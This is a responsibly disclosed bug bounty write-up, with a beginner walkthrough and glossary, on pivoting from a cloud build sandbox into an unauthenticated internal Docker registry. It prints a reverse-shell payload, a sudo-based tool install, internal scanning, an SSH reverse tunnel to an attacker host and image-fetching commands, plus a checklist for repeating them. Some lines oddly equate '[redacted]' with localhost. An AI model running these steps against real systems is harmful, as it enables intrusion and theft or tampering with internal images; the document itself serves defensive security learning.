How I could access your internal servers, steal and modify your image repository
A build sandbox allowed arbitrary shell commands by design, and the attacker used a privileged script to install a network scanner, discovering an internal Docker Registry API with no authentication. The attacker could then read and potentially push images to that registry.
Published on medium.com
Very often, system administrators trust their internal assets and loosen security rules to make access easier and faster, even if access is not needed. After all, they are only accessible from the inside, they say?
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
LovelyyyyCode (a name the researcher uses in place of the real company, for privacy and in line with the responsible disclosure policy) is a SaaS product that helps developers upload and build their projects in the cloud. One of its features is a configuration file, which the researcher calls lovelyconfig, in which a developer declares what should happen before a project is built. One of those declarations, lovelyyyyafter, lets the developer run shell commands after a successful build of the uploaded code.
The write-up is about what sits behind that build environment: internal hosts that the build VM can reach, and in particular an internal Docker registry that turned out to be reachable from the sandbox and, once reached, allowed the researcher to read images and to initiate an upload.
Setup
The researcher had a bug bounty engagement with LovelyyyyCode and a build sandbox obtained through the lovelyyyyafter feature. The goal was privilege escalation or a pivot into the company network. The tools used were:
- a reverse shell payload in the build configuration;
pingandcurlfor connectivity checks;nmap, installed on the sandbox through asudorule;- an SSH reverse tunnel to reach the internal service from the researcher's own machine;
- docker_fetch to automate fetching images from the registry;
- a Kali machine as the attacking host.
No versions are given in the report.
Finding it
The starting point was the build configuration itself. The lovelyyyyafter declaration runs shell commands after a successful build, and the researcher used it to get a reverse shell:
lovelyyyafter:- "bash -i >& /dev/tcp/[MyMachine]/1234 0>&1"
Uploading that configuration and setting up a listener gave remote code execution on the build box. This was not a vulnerability: LovelyyyyCode offers the feature by design and expects arbitrary commands, because a brand new VM is spun up for the build. The interesting question was what that VM could reach.
Exploitation
Step 1: Check outbound connectivity and tooling
The first check was whether the sandbox could reach the internet:
ping www.somesiteee.tld
That succeeded. Installing a scanner, however, did not:
apt install nmap
ERROR: Package not present in the whitelist.
The box was hardened against arbitrary package installation. The researcher then asked what the current user was actually allowed to do, and sudo -l showed a shell script that could be used to install nmap:
sudo -u privUser /path/to/binary nmap
With nmap available, the next step was to scan the internal address range for other hosts.
Step 2: Scan the neighbours
A full port scan with service detection found another host up on the internal network:
nmap -p- -sV — open -T4 10.0.1.2Nmap scan report for 10.0.1.2Host is up (0.00041s latency).Not shown: 977 closed portsPORT STATE SERVICE VERSION5000/tcp open http
The host [redacted] had port 5000 open, serving HTTP. A curl request to it returned (slightly modified in the write-up):
curl http://[redacted]:5000
...<h1>Docker Registry API 2</h1>
This was a Docker registry. The researcher quotes the Docker documentation definition: a stateless, highly scalable server-side application that stores and lets you distribute Docker images. Access to LovelyyyyCode's internal images would be a serious problem for the company, so the next step was reading the registry API documentation and then finding a tool to automate fetching images, which led to docker_fetch.
Step 3: Pivot through the sandbox
To work from the attacking machine rather than from the sandbox, the researcher set up a reverse SSH tunnel through the sandbox VM:
sandboxVM$ ssh -R 5555:[redacted]:5000 attacker@ATTACKER_HOST -p SSH_PORT -f -N
This opens port 5555 on the attacking machine and forwards every request sent to localhost:5555 through the sandbox to [redacted] on port 5000. The -f -N options put SSH in the background without running a remote command.
Step 4: Fetch images from the registry
With the tunnel up, the tool was pointed at the local end of the tunnel:
python docker_fetch.py -u http://[redacted]:5555
The tool grabbed the preferred image from the internal registry.
Step 5: Test pushing
According to the registry documentation, it is also possible to push an image to the repository. The researcher was able to initiate an upload, but did not proceed further for obvious reasons, wrote the report and sent it to LovelyyyyCode.
Root cause
The report recommends deploying the registry with the controls the Docker Registry API already supports: HTTPS and authentication. The build sandbox, which by design runs untrusted commands and reaches the internet, could reach that registry, so the internal-only assumption did not hold. The sudo rule let the researcher install nmap on the sandbox, which was then used to scan the internal range. The report does not describe the registry configuration itself, so the exact reason authentication was absent is not stated.
Impact
An attacker with code execution in a build sandbox could enumerate internal hosts, reach the Docker registry, read the company's internal images and initiate an upload to the repository. The researcher stopped at initiating the upload and did not complete it. The report does not quantify how many images were exposed or what they contained.
Fix
The report does not say what LovelyyyyCode changed. Its defensive recommendations are:
- restrict traffic and apply packet inspection, especially for a machine designed to reach the internet and execute untrusted commands;
- apply segregation rules even on the internal infrastructure;
- apply the security recommendations when deploying a solution: the Docker Registry API already supports HTTPS and authentication;
- apply the principle of least privilege and give access only when needed.
Variants to test
- Build or CI sandboxes with outbound access. Run a connectivity check and a scan of the internal range from the sandbox. A positive result is any internal host answering on a port that should not be reachable from build infrastructure.
- Internal service banners. Request the internal host directly and read the response. A positive result is a product banner such as the Docker Registry API page, which tells you which API to read next.
- Registry API without authentication. Query the registry API from the sandbox or through a tunnel. A positive result is a listing of repositories and tags without credentials.
- Registry push permissions. Initiate an upload as the researcher did. A positive result is an accepted upload session, which shows the registry is writable, not just readable.
- Over-permissive
sudorules. Runsudo -lin the sandbox. A positive result is a rule that lets you run a binary or script as another user, as with the nmap install here. - Package whitelist bypasses. When
apt installis blocked, look for allowed paths to install or run tools. A positive result is a scanner running despite the whitelist error.
What happened, in plain words
A security researcher was taking part in a bug bounty programme. A bug bounty programme is an arrangement where a company invites outside people to try to break into its systems and pays or thanks them for reporting what they find, instead of taking legal action. The company in this story is called LovelyyyyCode in the write-up. That is not its real name: the researcher made it up to protect the company's privacy, as the responsible disclosure policy requires. Responsible disclosure means you report a problem privately to the company and give it time to fix it before you tell anyone else.
LovelyyyyCode is a SaaS product. SaaS stands for Software as a Service: software that runs on the company's servers and that customers use over the internet, rather than installing it on their own computers. This particular SaaS helps developers upload their projects and build them in the cloud. "Building" here means turning source code into something that can actually run, for example compiling it or packaging it.
One of the product's features is a configuration file. A configuration file is a plain text file that tells a program how to behave, a bit like a recipe card you hand to a cook: it lists what should happen and in what order. The researcher calls this file lovelyconfig. Inside it, a developer can declare what actions should be performed around the build. One of those declarations is called lovelyyyyafter, and it lets the developer run shell commands after a successful build.
A shell command is an instruction typed as text and given to the operating system, the same kind of instruction you would type in a terminal window. So the product deliberately lets you run your own commands on the machine that does the build. That is the feature the researcher used as a starting point.
The story is about what sits behind that build environment: other machines on the company's internal network that the build machine could reach. One of them turned out to be a Docker registry, a service that stores Docker images. A Docker image is a packaged bundle containing an application and everything it needs to run, a bit like a sealed lunchbox with the meal and the cutlery already inside. If an outsider can read those lunchboxes, or worse, put their own inside the cupboard, that is a serious problem. The researcher could read the images and could start an upload, then stopped and reported it.
The setup
The researcher had a bug bounty engagement with LovelyyyyCode, meaning a formal arrangement to test the company's systems within agreed rules. Through the lovelyyyyafter feature, the researcher obtained a build sandbox. A sandbox is an isolated machine, here a fresh virtual machine (VM) created for each build, where code runs without touching the rest of the company's systems. A virtual machine is a computer simulated in software: it behaves like a separate physical computer even though it shares hardware with others.
The goal was privilege escalation or a pivot into the company network. Privilege escalation means going from a low-powered account to a more powerful one, like a hotel guest finding a way to use the master key. A pivot means using one compromised machine as a stepping stone to reach other machines that are not directly reachable from the internet, like crossing a river by hopping onto a boat you found moored on your side.
The tools used were:
- a reverse shell payload in the build configuration;
pingandcurlfor connectivity checks;nmap, installed on the sandbox through asudorule;- an SSH reverse tunnel to reach the internal service from the researcher's own machine;
- docker_fetch to automate fetching images from the registry;
- a Kali machine as the attacking host.
A few of those need explaining before we go further.
A reverse shell is a way of getting a command prompt on a remote machine where the remote machine connects back to you, rather than you connecting to it. Imagine asking a friend to phone you instead of you phoning them: it works even when you cannot dial their number directly. The payload is the small piece of text or code that does the work.
ping is a simple command that sends a tiny message to another computer and waits for a reply, to check whether that computer is reachable. curl is a command-line tool that fetches a web page or sends a request to a web server, like a browser but without the window.
nmap is a scanner. It probes a range of network addresses and reports which machines answer and which doors, called ports, are open on them. A port is a numbered channel on a computer; different services listen on different numbers, the way different departments in a building have different extension numbers.
sudo is a command that lets you run a program as another user, usually a more privileged one. A sudo rule is a line of configuration saying who may run what as whom. sudo -l lists the rules that apply to your current user.
SSH is a protocol for logging into another computer securely over a network. A tunnel built with SSH carries other traffic inside the encrypted SSH connection, like sending a letter inside a sealed diplomatic bag. A reverse tunnel is set up from the far machine back to yours, so that a service only reachable from the far side becomes reachable on your side.
Kali is a Linux distribution made for security testing, preloaded with tools. The attacking host is the researcher's own machine, the one from which the attack is launched.
No versions of any software are given in the report.
Finding it
The starting point was the build configuration itself. The lovelyyyyafter declaration runs shell commands after a successful build, and the researcher used it to get a reverse shell:
lovelyyyafter:- "bash -i >& /dev/tcp/[MyMachine]/1234 0>&1"
Line by line, in plain words:
lovelyyyafter:is the name of the declaration in the configuration file. It tellsLovelyyyyCodethat what follows should run after the build succeeds.- "..."is the value assigned to that declaration: a single command, written as a quoted string.bash -istarts a shell, which is a program that reads commands and runs them. The-imeans interactive, so the shell waits for commands and shows you their output, like a conversation rather than a one-off note.>&means "send both the normal output and the error output to the same place". Normally a program has two separate streams: what it prints when things go well, and what it prints when things go wrong. This joins them./dev/tcp/[MyMachine]/1234is a special path that Linux shells understand as "open a network connection".[MyMachine]is a placeholder for the researcher's own machine's address, and1234is the port to connect to. So this opens a connection from the build machine out to the researcher's machine.0>&1means "take input (stream 0) from the same place as output (stream 1)". In other words, whatever the researcher types on their side is fed to the shell on the build machine, and whatever the shell prints comes back.
The result is that the build machine phones home and hands over a command prompt. Uploading that configuration and setting up a listener, a program on the researcher's side waiting for the incoming connection, gave remote code execution on the build box. Remote code execution, often shortened to RCE, means running your own commands on someone else's machine over the network.
This was not a vulnerability. LovelyyyyCode offers the feature by design and expects arbitrary commands, because a brand new VM is spun up for the build. The report says a brand new VM is spun up for the build. The interesting question was what that VM could reach.
Exploitation
Step 1: Check outbound connectivity and tooling
The first check was whether the sandbox could reach the internet:
ping www.somesiteee.tld
This sends a small probe to a made-up-looking domain name and waits for an answer. If a reply comes back, the sandbox has a route out to the internet. That matters because it tells you whether you can download tools, and more importantly whether the sandbox is allowed to talk to the outside world at all. It succeeded.
Installing a scanner, however, did not:
apt install nmap
ERROR: Package not present in the whitelist.
apt is the package manager on Debian-based Linux systems: the program that downloads and installs software. apt install nmap asks it to install the nmap scanner. The error message says the package is not on a whitelist. A whitelist is a list of things that are allowed; anything not on it is refused. So the company had restricted which software could be installed on the build machine, a sensible hardening step. Hardening means deliberately reducing what a system can do, so that if someone gets in, they have fewer options.
The box was hardened against arbitrary package installation. The researcher then asked a different question: not "what can I install?" but "what is the current user actually allowed to do?". This is a habit worth copying. When a door is locked, look at the keys you were given rather than at the door.
Running sudo -l showed a shell script that could be used to install nmap:
sudo -u privUser /path/to/binary nmap
Line by line:
sudoruns the rest of the command as another user, if the rules allow it.-u privUsersays which user to run as.privUseris a more privileged account than the one the researcher was using./path/to/binaryis a placeholder for the program being run. In the report it is described as a shell script that could be used to install nmap.nmapis the argument passed to that script, presumably telling it which package to install.
So the sandbox had a rule letting the ordinary user run a particular script as a more privileged user, and that script could install software. The sudo rule let the researcher install nmap despite the whitelist error. This is a classic example of why the principle of least privilege matters: give each account only the powers it actually needs.
With nmap available, the next step was to scan the internal address range for other hosts. An address range is a block of network addresses, like a street with many house numbers. The researcher wanted to know who else lived on the street.
Step 2: Scan the neighbours
A full port scan with service detection found another host up on the internal network:
nmap -p- -sV — open -T4 10.0.1.2Nmap scan report for 10.0.1.2Host is up (0.00041s latency).Not shown: 977 closed portsPORT STATE SERVICE VERSION5000/tcp open http
This block is the command and its output run together, as it appears in the write-up. Reading it in parts:
nmapis the scanner.-p-means scan all ports, not just the common ones. The dash afterpstands for the full range.-sVmeans detect the service and version running on each open port, so you learn not just that a door is open but what is behind it.— openis meant to show only open ports. Note that the dash here is a long dash character, not the usual hyphen, so as written it would not be understood by the tool; the intent is "show only open ports".-T4sets the speed. Higher numbers mean faster and noisier scanning. The researcher had already decided not to be stealthy, since the sandbox was disposable.[redacted]is the address being scanned.
The output says the host is up, with a latency of 0.00041 seconds, which is very fast and suggests the machine is close by on the same internal network. 977 ports were closed. Port 5000 over TCP was open, and the service detected was HTTP. TCP is one of the two main ways computers send data to each other; HTTP is the protocol browsers use to fetch web pages. So there was a web server on port 5000.
A curl request to it returned (slightly modified in the write-up):
curl http://[redacted]:5000
...<h1>Docker Registry API 2</h1>
curl http://[redacted]:5000 asks the web server at that address and port for its front page. The reply contains an HTML heading, the kind of text a browser shows in large bold letters, reading "Docker Registry API 2". The ... stands for content the researcher trimmed out. An API is an Application Programming Interface: a defined set of addresses and rules that one program uses to talk to another, like a restaurant menu that tells you what you can order and how to ask for it. So this was not just any web page; it was the front door of a service that other programs talk to.
This was a Docker registry. The researcher quotes the Docker documentation definition: a stateless, highly scalable server-side application that stores and lets you distribute Docker images. "Stateless" means the service does not keep a record of your previous requests between them; each request stands alone. "Highly scalable" means it is built to handle a lot of traffic. "Server-side" means it runs on a server, not on your own computer.
Access to LovelyyyyCode's internal images would be a serious problem for the company, because images often contain application code, configuration and sometimes secrets. The next step was reading the registry API documentation to learn which requests the service accepts, and then finding a tool to automate fetching images, which led to docker_fetch. Automating matters because doing it by hand, request after request, is slow and error-prone.
Step 3: Pivot through the sandbox
To work from the attacking machine rather than from the sandbox, the researcher set up a reverse SSH tunnel through the sandbox VM:
sandboxVM$ ssh -R 5555:[redacted]:5000 attacker@ATTACKER_HOST -p SSH_PORT -f -N
Line by line:
sandboxVM$is the prompt on the sandbox, showing where the command is typed. It is not part of the command.sshis the secure login program.-R 5555:[redacted]:5000is the reverse tunnel instruction. It means: on the remote side, listen on port 5555, and forward anything that arrives there back through this connection to[redacted]on port 5000. The-Rstands for remote, because the listening end is on the remote machine.attacker@ATTACKER_HOSTis the account and machine to log in to, namely the researcher's own attacking host.ATTACKER_HOSTis a placeholder for its address.-p SSH_PORTsays which port SSH itself should connect to on that host.SSH_PORTis a placeholder for the number.-fputs SSH in the background after it connects, so the terminal is free for other work.-Nsays do not run any command on the remote side; just set up the tunnel and keep it open.
This opens port 5555 on the attacking machine and forwards every request sent to localhost:5555 through the sandbox to [redacted] on port 5000. localhost means "this same computer". So on the researcher's own machine, the internal registry appears to be running locally on port 5555, even though the real service is deep inside the company's network. The sandbox acts as the boat across the river.
Step 4: Fetch images from the registry
With the tunnel up, the tool was pointed at the local end of the tunnel:
python docker_fetch.py -u http://[redacted]:5555
Line by line:
pythonruns the Python interpreter, the program that executes Python code.docker_fetch.pyis the script being run, the tool found earlier.-u http://[redacted]:5555gives it the address to talk to.[redacted]is another way of writinglocalhost, the same machine. Port 5555 is the local end of the tunnel.
The tool grabbed the preferred image from the internal registry, through the tunnel.
Step 5: Test pushing
According to the registry documentation, it is also possible to push an image to the repository. Pushing is the opposite of fetching: instead of taking an image out, you put one in. A repository here is a named collection of images, like a folder in a shared drive.
The researcher was able to initiate an upload. Initiating means starting the process and getting the service to accept it, not necessarily finishing it. The researcher did not proceed further for obvious reasons: completing the upload would have meant writing to the company's real image store, which goes beyond what is needed to prove the problem and risks causing damage. Instead, the researcher wrote the report and sent it to LovelyyyyCode.
Root cause
A root cause is the underlying reason a problem exists, as opposed to the symptom you happen to notice. The report recommends deploying the registry with the controls the Docker Registry API already supports: HTTPS and authentication.
HTTPS is the encrypted version of HTTP, the one with the padlock in your browser. Without it, anyone who can watch the traffic can read it. Authentication is the process of proving who you are, usually with a username and password or a token. A token is a short piece of text issued after you log in, which you show on later requests instead of repeating your password, like a cloakroom ticket. Without authentication, anyone who can reach the service can use it.
The build sandbox, which by design runs untrusted commands and reaches the internet, could reach that registry. So the internal-only assumption did not hold: "it is only reachable from inside" is not a security control, it is a hope. The sudo rule let the researcher install nmap on the sandbox, which was then used to scan the internal range. The report does not describe the registry configuration itself, so the exact reason authentication was absent is not stated.
Impact
Impact means what an attacker could actually do with the problem, and how bad it would be. An attacker with code execution in a build sandbox could enumerate internal hosts, reach the Docker registry, read the company's internal images and initiate an upload to the repository. Enumerate means to list things systematically, one by one, until you have a complete picture.
The researcher stopped at initiating the upload and did not complete it. The report does not quantify how many images were exposed or what they contained.
Fix
The report does not say what LovelyyyyCode changed. Its defensive recommendations are:
- restrict traffic and apply packet inspection, especially for a machine designed to reach the internet and execute untrusted commands;
- apply segregation rules even on the internal infrastructure;
- apply the security recommendations when deploying a solution: the Docker Registry API already supports HTTPS and authentication;
- apply the principle of least privilege and give access only when needed.
A few of those terms in plain words. Packet inspection means looking inside the individual chunks of data travelling on the network, rather than only at where they are going, so you can spot traffic that should not be happening. Segregation means keeping systems apart so that one compromised machine cannot freely reach the others, like watertight compartments in a ship. The principle of least privilege means giving every account and every machine only the permissions it truly needs, nothing more.
Variants to test
A variant is a related situation you can check for, based on the same idea. These are the checks a beginner can repeat on another target.
- Build or CI sandboxes with outbound access. CI stands for continuous integration, the practice of building and testing code automatically whenever it changes. Run a connectivity check and a scan of the internal range from the sandbox. A positive result is any internal host answering on a port that should not be reachable from build infrastructure.
- Internal service banners. A banner is the greeting a service gives when you connect, often naming the product. Request the internal host directly and read the response. A positive result is a product banner such as the Docker Registry API page, which tells you which API to read next.
- Registry API without authentication. Query the registry API from the sandbox or through a tunnel. An endpoint is one specific address in an API, like one page in a manual. The catalogue lists repositories and tags label versions within a repository. A positive result is a listing of repositories and tags without credentials.
- Registry push permissions. Initiate an upload as the researcher did. A positive result is an accepted upload session, which shows the registry is writable, not just readable.
- Over-permissive
sudorules. Runsudo -lin the sandbox. A positive result is a rule that lets you run a binary or script as another user, as with the nmap install here. - Package whitelist bypasses. When
apt installis blocked, look for allowed paths to install or run tools. A positive result is a scanner running despite the whitelist error.
Glossary
- API: a defined set of addresses and rules that one program uses to talk to another, like a menu that says what you can order and how to ask.
- apt: the package manager on Debian-based Linux systems, the program that downloads and installs software.
- Authentication: proving who you are, usually with a username and password or a token.
- Banner: the greeting a network service sends when you connect, often naming the product and version.
- Bug bounty programme: an arrangement where a company invites outsiders to test its systems and rewards them for reporting problems.
- Build: turning source code into something that can run, for example compiling or packaging it.
- CI (continuous integration): automatically building and testing code whenever it changes.
- Configuration file: a plain text file that tells a program how to behave.
- curl: a command-line tool that fetches a web page or sends a request to a web server.
- Docker image: a packaged bundle containing an application and everything it needs to run.
- Docker registry: a service that stores and distributes Docker images.
- Endpoint: one specific address in an API, like one page in a manual.
- Enumerate: to list things systematically until you have a complete picture.
- Hardening: deliberately reducing what a system can do, so an intruder has fewer options.
- HTTP: the protocol browsers use to fetch web pages.
- HTTPS: the encrypted version of HTTP, shown by the padlock in a browser.
- Impact: what an attacker could actually do with a problem, and how bad it would be.
- Kali: a Linux distribution made for security testing, preloaded with tools.
- localhost / [redacted]: names meaning "this same computer".
- nmap: a scanner that probes addresses and reports which machines answer and which ports are open.
- Packet inspection: looking inside the individual chunks of data travelling on a network, not just at where they are going.
- Payload: the small piece of text or code that does the work in an attack.
- ping: a command that sends a tiny message to another computer and waits for a reply, to check reachability.
- Pivot: using one compromised machine as a stepping stone to reach others that are not directly reachable.
- Port: a numbered channel on a computer; different services listen on different numbers.
- Principle of least privilege: giving every account and machine only the permissions it truly needs.
- Privilege escalation: going from a low-powered account to a more powerful one.
- Push / pull: putting an image into a registry (push) or taking one out (pull).
- Remote code execution (RCE): running your own commands on someone else's machine over the network.
- Repository: a named collection of images in a registry, like a folder in a shared drive.
- Responsible disclosure: reporting a problem privately to the company and giving it time to fix it before telling anyone else.
- Reverse shell: a way of getting a command prompt on a remote machine where that machine connects back to you.
- Root cause: the underlying reason a problem exists, as opposed to the symptom you notice.
- SaaS: Software as a Service; software that runs on the company's servers and is used over the internet.
- Sandbox: an isolated machine where code runs without touching the rest of the company's systems.
- Segregation: keeping systems apart so one compromised machine cannot freely reach the others.
- Shell: a program that reads commands and runs them.
- SSH: a protocol for logging into another computer securely over a network.
- Stateless: a service that does not keep a record of your previous requests between them.
- sudo: a command that runs a program as another, usually more privileged, user.
- Tag: a label on a version of an image within a repository.
- TCP: one of the two main ways computers send data to each other, used where reliable delivery matters.
- Token: a short piece of text issued after you log in, shown on later requests instead of repeating your password.
- Tunnel: a connection that carries other traffic inside it, like a letter inside a sealed bag.
- Virtual machine (VM): a computer simulated in software, behaving like a separate physical computer.
- Whitelist: a list of things that are allowed; anything not on it is refused.